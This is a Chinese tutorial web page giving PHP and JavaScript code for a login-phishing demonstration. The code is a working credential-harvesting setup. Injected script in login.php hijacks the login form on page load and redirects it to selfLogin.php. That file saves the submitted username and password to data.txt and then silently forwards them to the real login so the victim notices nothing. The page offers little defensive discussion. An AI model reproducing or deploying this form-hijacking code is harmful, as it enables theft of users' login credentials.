教程集 www.jiaochengji.com
教程集 >  脚本编程  >  php  >  正文 PHP和JS实现模仿登录钓鱼的代码示例

PHP和JS实现模仿登录钓鱼的代码示例

发布时间:2021-01-14   编辑:jiaochengji.com
教程集为您提供PHP和JS实现模仿登录钓鱼的代码示例等资源,欢迎您收藏本站,我们将为您提供最新的PHP和JS实现模仿登录钓鱼的代码示例资源

本篇文章给大家带来的内容是关于PHP和JS实现模仿登录钓鱼的代码示例,有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助。

目录介绍

login.php 正常登录的文件

selfLogin.php 自定义的登录文件

data.txt 记录用户输入的数据

login.php

<?php     echo "<pre>";     $userInfo = $_POST ;     if ($userInfo) {         # code...         var_dump($userInfo,'登录成功') ;exit();     }  ?> <!DOCTYPE html> <html> <head>     <title>登录</title> </head> <body>     <form id="login" method="post" action="login.php">         用户姓名:<input type="text" name="name">         用户密码:<input type="password" name="pwd">         <input type="submit" value="确认登录">     </form> </body> <script type="text/javascript">      //js劫持代码     window.onload = function (eve) {         var form = document.getElementById('login');         form.innerHTML = ' <form id="login" method="post" > 用户姓名:<input type="text" name="name"> 用户密码:<input type="password" name="pwd"> <input type="submit" value="确认登录">    </form> '  ;         //钓鱼地址         form.action = "selfLogin.php" ;     } </script> </html>

selfLogin.php

<?php     $name = '' ;     $pwd  = '' ;     //var_dump('数据被截取了',$_POST) ;     if($_POST) {         //记录获取的数据信息         $name = $_POST['name'] ;         $pwd = $_POST['pwd'] ;         file_put_contents('data.txt', json_encode($_POST,true)) ;     } ?> <!DOCTYPE html> <html> <head>     <title></title> </head> <body>  </body> <script type="text/javascript">     //构建之前的页面     window.onload = function (eve) {         var name = '<?php echo $name; ?>' ;         var pwd = '<?php echo $pwd; ?>' ;         if(name && pwd) {             var p = document.createElement('p');             document.body.appendChild(p);             p.innerHTML =' <form id="login2" method="post" action="login.php" > '                  ' 用户姓名:<input type="text" name="name" value="' name '"> 用户密码:<input type="password" name="pwd" value="' pwd '"> '  ;             document.getElementById('login2').submit();         }     } </script> </html>

data.txt

{"name":"admin","pwd":"123456"}

本篇文章到这里就已经全部结束了,更多其他精彩内容可以关注教程集的JavaScript视频教程栏目!

以上就是PHP和JS实现模仿登录钓鱼的代码示例的详细内容,更多请关注教程集其它相关文章!

  • 本文转载于:segmentfault,如有侵犯,请联系jquerycn@qq.com删除
  • 您可能感兴趣的文章:
    PHP和JS实现模仿登录钓鱼的代码示例
    前端安全以及如何防范详细介绍
    PHP CURL获取cookies模拟登录的方法介绍
    PHP利用Curl模拟登录并获取数据例子
    “老鬼”与“拒绝游泳的鱼”关于网站定位的QQ聊天记录
    ASP.NET程序安全
    php验证码大全(实例分享)
    php分割中文字符串为数组的简单例子
    golang微服务框架对比_斗鱼开源首秀——基于 Go 的微服务框架 Jupiter
    php会话技术之cookie的例子

    [关闭]
    ~ ~